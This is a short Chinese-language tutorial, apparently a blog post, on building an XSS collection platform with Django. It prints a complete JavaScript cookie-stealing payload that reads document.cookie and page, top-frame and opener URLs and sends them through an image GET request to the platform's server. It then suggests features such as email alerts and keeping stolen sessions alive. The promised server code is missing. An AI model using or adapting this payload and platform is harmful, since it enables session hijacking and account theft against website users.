使用Django简单编写一个XSS平台的方法步骤

1) 简要描述

原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

3) Let's start

0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

需要用到的第三方库:

0x02

我们先看一下XSS脚本是如何工作的

  • var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
  •     try {
  •       return document.location.href
  •     } catch(e) {
  •       return ''
  •     }
  •   })()) + '&toplocation=' + escape((function() {
  •     try {
  •       return top.location.href
  •     } catch(e) {
  •       return ''
  •     }
  •   })()) + '&cookie=' + escape((function() {
  •     try {
  •       return document.cookie
  •     } catch(e) {
  •       return ''
  •     }
  •   })()) + '&opener=' + escape((function() {
  •     try {
  •       return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
  •     } catch(e) {
  •       return ''
  •     }
  •   })());
  • })();
  • 这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

    注意:这里使用AJAX可能会出现CORS跨域问题。

    先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

  • 既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

    我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等
